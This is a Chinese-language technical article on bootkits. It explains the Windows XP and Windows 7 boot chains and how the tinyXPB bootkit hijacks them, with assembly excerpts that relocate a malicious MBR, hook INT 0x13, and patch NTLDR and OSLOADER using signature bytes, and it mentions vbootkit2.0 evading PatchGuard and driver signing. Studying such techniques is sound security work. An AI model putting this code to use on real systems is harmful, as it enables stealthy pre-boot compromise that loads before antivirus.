安全的對抗首先在權限方面,權限高的進程對權限低的權限就是就是降維打擊,無往不利。當權限相同時,啟動得早便為王。所謂的bootkit也就是基於這個思路設計的一種復雜病毒。它優先於Windows系統啟動,自然也就優先於殺毒軟件啟動的時間。鑒於國內對bootkit的文章不多,本文想介紹一下bootkit的具體技術細節。為了保證內容的梯度和完整度,其中基於MBR的rootkit分別以WindowsXp和Win7為例,而基於UEFI的bootkit則可以在Windows7以上版本(7,8,10)的運行。
一:基於MBR的bootkit
1.1:windowsXP的系統加載流程
運行流程如下圖:

BIOS:BIOS代碼存在於主板上的EEPROM(Electronically Erased Programmable Read Only Memory)芯片中。大多數PC都會執行一些稱為“Shadow”的操作,它們從RAM復制並運行BIOS代碼(地址為0x000F0000),RAM比ROM快,因此可以加快啟動速度。BIOS將MBR從引導設備的第一個扇區讀入地址0x7C00。並提供一系列低級功能,稱為BIOS中斷,可通過“int”指令訪問實模式代碼。
MBR(Master Boot Record):MBR是引導設備的絕對第一扇區,大小為1扇區(512字節),此代碼由BIOS加載到0x7C00,然后在實模式下執行。然而,MBR的大部分是代碼; MBR內部是一個表(實際主引導記錄),該表由4 x 16字節條目組成,並從偏移量0x1BE開始進入MBR。一旦執行,代碼將查看分區表,找到活動分區,然后將分區的第一個扇區(VBR)讀入0x7C00然后執行它。 由於MBR將VBR讀入0x7C00,因此它將在事先重新定位,以避免覆蓋自身。 MBR的最后2個字節是引導簽名(0x55,0xAA)。讀寫MBR的代碼很簡單,如下:
HRESULT GetSigned(CAtlStringW strPhysicalDrive, PUCHAR ulSigned) { HRESULT hr = S_OK; HANDLE hDevice; MBR Mbr = { 0 }; do { hDevice = CreateFileW(strPhysicalDrive.GetBuffer(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { hr = S_FALSE; break; } DWORD dwRead = 0; if (!ReadFile(hDevice, (LPVOID)&Mbr, sizeof(MBR), &dwRead, NULL)) { hr = S_FALSE; break; } if (memcpy_s((void*)ulSigned, sizeof(ulSigned) / sizeof(ulSigned[0]), (void*)Mbr.ulSinged, sizeof(Mbr.ulSinged) / sizeof(Mbr.ulSinged[0]))) { hr = S_FALSE; break; } } while (0); CloseHandle(hDevice); /* for (int i = 0; i < 4; i++) { printf("%02x", ulSigned[i]); } */ return hr; }
VBR(Volume Boot Record):VBR是可引導分區的第一個扇區,就像MBR一樣,它的大小為1扇區(512字節)。它由MBR在地址0x7C00(實模式)下加載並執行。 VBR的前兩個字節是跳轉指令,跳過Bios參數塊(BPB)並進入主代碼。在VBR的前2個字節之后是BPB,此塊包含有關驅動程序和分區的一些信息(主文件表的位置,驅動器的磁盤/磁頭/扇區設置,卷序列號等)。除了從BPB收集一些信息之外,VBR沒有做太多其他事情,然后將分區的前16個扇區讀入內存(通常從地址0xD000開始)。 •分區的前16個扇區稱為$BOOT,盡管所有16個扇區都被加載到內存中,但只使用了7個扇區(1個用於VBR,6個用於IPL)。
IPL(Inital Program Loader):IPL最大可達15個扇區(7680字節),位於磁盤上的VBR(分區的扇區1-15)之后,此代碼從地址0xD000開始,然后在實模式下運行。 Windows XP IPL僅使用15個已分配扇區中的6個。 IPL的工作是在磁盤上定位NTDLR,然后將其讀入內存。 IPL將始終讀取並執行地址0x20000處的NTLDR。
NTLDR(New Technology Loader):NTLDR是一個“實際”文件,駐留在C:\NTLDR並具有屬性FILE_ATTRIBUTE_HIDDEN和FILE_ATTRIBUTE_SYSTEM(MBR,VBR和IPL無法從文件系統訪問),它在地址0x20000處執行。TLDR由2個主要部分組成:1.NTLDR - 16位實模式和保護模式代碼的混合,可在兩種模式之間切換,以便使用BIOS中斷。 2.OSLOADER.exe - 一個PE文件(編譯為驅動程序),由32位代碼組成,在保護模式下執行。NTLDR將設置GDT和IDT,然后進入保護模式(分頁仍未設置)。OSLOADER.exe從NTLDR中提取並加載其入口點0x401000,這是因為OSLOADER是PE文件,如果位於0x401000,則不需要重定位表。NTLDR調用0x401000(OSLOADER入口點)。
OSLoader.exe:OSLOADER是一個PE文件,它被編譯為內核驅動程序,但它有點像普通文件而不是驅動程序,因為內核尚未加載。 雖然OSLOADER是PE文件,但PE頭不會加載到內存中,只會加載到代碼中。OSLOADER中的代碼做了很多,所以我只強調主要內容:
i:啟用分頁並設置頁表。
ii:使用NTDETECT檢測是否存在運行Windows所需的硬件。
iii:解析boot.ini以獲取啟動設置,如果是雙啟動,請詢問用戶他們希望加載哪個操作系統。
iV:加載啟動驅動程序。
V:在調用KiSystemStartup(ntoskrnl入口點)之前,找到ntoskrnl.exe並將其加載到內存中。
ntoskrnl.exe:Ntoskrnl是位於C:\Windows\System32\ntoskrnl.exe的PE文件,它將由OSLoader.exe加載(加載地址將在 service pack地址中變化),而ntoskrnl.exe的入口點是KiSystemStartUp,它負責初始化內核並啟動操作系統,然后執行由OSLoader.exe架子啊的啟動驅動程序。當內核初始化完成后,操作系統將准備好登陸。
以上便是整個系統啟動的調用流程。
1.2 :根據 tinyPXB講解基於MBR的bootkit的運行機理
bootkit在tinyPXB中分為四個部分:1.MBR-負責加載其它三個組件 2.Loader16.bin bootkit的實模式組件 3.Loader32.bin bookit的32位保護模式組件 4.Driver32.sys 加載的驅動,這個不在本文的講解范圍。
1.2.1 MBR代碼流程
bootkit MBR最初將在0x7C00加載並執行;一旦執行它就會將自身復制到地址0x80000並從那里執行。代碼如下:
;============================================================================================= ;Move this code from 0x7C00 to 0x80000 then call "realstart" at new address ;============================================================================================= start: cld push 0x00 pop ds mov sp, 0x7C00 ;Stack grows downwards from address 0x7C00 mov si, sp mov di, 0x00 mov cx, 0x100 push 0x8000 pop es rep movsw ;Copy code from DS:SI to ES:DI (0000:7C00 to 8000:0000) push 0x8000 ;Segment to retf to push realstart ;Offset to retf to retf ;Jump to code at new address ;============================================================================================= ;Use int 0x13 to read loader16, loader32 and driver32 from the floppy disk, we have to use ;normal read instead of extended read because it doesnt seem to work with floppy disks ;============================================================================================= realstart: push es pop ds call LoadLdrs test ax, ax je Failed push 0x8020 push 0x0000 retf ;Jump to loader16 (0x80200) Failed: jmp $ ;Infinite loop ret
一旦到達0x8000,MBR將解析軟盤的12位文件分配表(FAT),尋找LOADER16BIN,LOADER32BIN和DRIVER32SYS。 MBR將使用INT 0x13,AH = 2(標准磁盤讀取)BIOS中斷將磁盤中的文件讀入內存。我們不能在軟盤上使用擴展讀取,因此MBR還會將邏輯塊地址轉換為Cylinder-Head-Sector值。 Loader16將加載到地址0x80200,Loader32將加載到地址0x80400,driver32將加載到地址0x8100。一旦MBR完成加載bootkit組件,它將執行轉移到0x80200(Loader16)。
1.2.2 Loader16
Loader16將從地址0x80200執行,並將完全在實模式下執行。
代碼將負責掛鈎INT 0x13(磁盤讀取中斷)和處理調用,以及掛鈎NTLDR中的代碼和OSLOADER.exe的入口點。
INT 0x13是BIOS提供的磁盤服務中斷。 MBR,VBR,IPL和NTLDR將使用它來讀取磁盤中的扇區以及其他內容。掛鈎int 0x13代碼如下:
start: push cs ;Set up segments pop ds push cs pop es mov ah, 0x42 ;Extended Disk Read mov dl, 0x80 ;Hard Disk 1 mov si, DAP1 ;Pointer to Data Access Packet int 0x13 jc StartFailed mov ax, [ss:0x4C] mov word [Old_Int13+1], ax ;Store original int 0x13 offset mov ax, [ss:0x4E] mov word [Old_Int13+3], ax ;Store original int 0x13 segment mov word [ss:0x4C], Int13Handler ;Our int 0x13 handler offset mov word [ss:0x4E], 0x8020 ;Our code segment push 0x00 ;Reset es and ds segment pop es push es pop ds push es push 0x7C00 StartFailed:
通過掛鈎磁盤中斷,我們可以掃描MBR,VBR,IPL或NTLDR讀取的每個扇區。我們通過搜索特征碼(FC F3 67 66 A5 66 8B 4E 0C 66 83 E1 03,此代碼 NTLDR使用它將OSLOADER加載到內存中),當IPL使用INT 0x13將NTLDR讀入內存時,將找到特征碼並在“rep movsw”之后進行HOOK。(在OSLOADER加載到0x401000之后)。Hook OSloader代碼如下:
HookMoveOSLoader: push ds push fs push 0x8020 pop fs push 0x00 pop ds mov dx, word [fs:Old_Int13+1] ;Store original int 0x13 offset into dx mov [0x4C], dx ;Restore int 0x13 offset mov dx, word [fs:Old_Int13+3] ;Store original int 0x13 segment into dx mov [0x4E], dx ;Restore int 0x13 segment xor edi, edi ;Make sure the high word of edi is null mov di, ax ;ax still contains the address signature was found at add di, 0x05 ;We hook 5 bytes into the signature (just after rep movsw push es pop fs mov byte [fs:di+0], 0x9A ;Far call mov word [fs:di+1], 0x600 ;Jump to address 0x00000600 mov word [fs:di+3], 0x0008 ;GDT descriptor 0x01 (32-bit code segment base: 0x00000000 mov di, 0x600 ;We store the 32-bit relative jump at 0x600 mov byte [di], 0xE9 ;relative 32-bit jump to HookOSLoader mov dword [di+1], (0x7FDFB) ;Offset to loader32 (0x605 + 0x7FFFB = 0x80400) pop fs pop ds retn
所有代碼都是從我們的軟盤運行的。 Loader16會將真正的Windows MBR從硬盤驅動器讀入0x7C00(就像BIOS一樣),掛起INT 0x13,然后執行windows MBR。
1.2.3 Loader32
Loader16中,我們在NTLDR中進行了HOOK,當運行到這個HOOk的時候,我們將刪除HOOK,然后掃描OSLoder對其進行掛鈎,掃描一下特征碼( 51 6A 01 52 50 6A 05 E8),這段代碼后面跟隨的是BlAllocateDescriptor的地址,這個函數用於分配內存,當Loader嘗試調用BlAllocateDescriptor時,它將運行Hook代碼,現在讓系統繼續運行。一旦NTLDR完成並且OSLOADER開始執行,它將調用被我們Hook住的BlAllocateDescriptor。由於BlAllocateDescriptor已經可以使用了,刪除鈎子並對BlAllocateDescriptor進行3次調用。
i:第一個調用是分配一些內存來移動Loader32,這是因為當啟用分頁時,我們當前執行的內存將被分頁。
ii:第二個調用是為我們的驅動程序分配一些內存來運行,因為存儲驅動程序PE文件的地址也將被分頁,我們現在也可以將驅動程序的PE文件映射到內存中,准備執行。
iii:最后一次調用調用沒有被Hook情況下調用分配的內存。就在我們的BlAllocateDescriptor將執行轉移回OSLOADER之前,我們將把loader32重新定位到分配的內存.
然后在OSLOADER中執行另一個字節掃描。•這次我們掃描以下字節:8B F0 85 F6 74 11 68 4C 23這些對應於指令:
mov esi,eax
test esi,esi
jz 0x11
push 234Ch
OSLOADER使用這些指令之后的代碼直接調用在ntoskrnl中的KiSystemStartup,就在“mov esi,eax”之前是一個push,然后是一個調用,push將把“LOADER_PARAMETER_BLOCK”推送到堆棧,我們將把調用的地址改為指向我們的代碼。 •KiSystemStartup掛鈎將指向我們復制到已分配內存的loader32中的代碼(0x80000000范圍內的某處)。
現在我們將控制權返回給OSLOADER,以便繼續加載操作系統。加載操作系統之后,由於之前已經對系統做了掛鈎。所以我們可以你在加載系統的第一時間獲取控制流,從而可以對系統為所欲為。
1.3:windows7的系統加載流程
1:首先,MBR加載NT Boot Sector,NT boot Sector可以讀取FAT32和NTFS,它將讀取在 system32或者system32/boot目錄下的BOOTMGR.exe函數。
2:bootmgr.exe有一個16字節的校驗頭,當檢驗成功后,將將其映射到0x40000的位置,並以BmMain函數開始。
3:然后BootMgr.exe檢查休眠狀態。一但發現休眠,則加載winresume.exe並繼續運行。
4:BootMgr.exe加載BCD數據庫,並且遍歷boot入口。
5:選擇了Boot入口后,使用BmLanuchBootEntry函數進行加載。然后CPU進入64位模式並跳轉到winload.exe。
6:winload.exe首先加載system的hive文件,然后加載ntoskrnl.exe,HAL.dll,依賴和關鍵驅動
7:創建PSLoadModuleList和LOADER_PARAMETER_BLOCK結構,其中包含了內核映射和選項列表等信息
8:然后使用OslArchTranslateToKernel函數進行內核(ntoskrnol.exe)的初始化流程。
總體流程如圖所示:

其中內核初始化一共分為兩步,這於本篇內容沒有太大關系,略過。
二:vbookit2.0原理
windows7 x64上,我們需要在不被Patch Guard和驅動簽名檢測的前提下,過掉所有的安全功能。所以我們只能在內存中打補丁。和tinyXp一樣,文件加載的時候打補丁,一步步前進,直到到達內核為止。原理基本同tinyXP,所以不多解釋,具體可參考源碼。
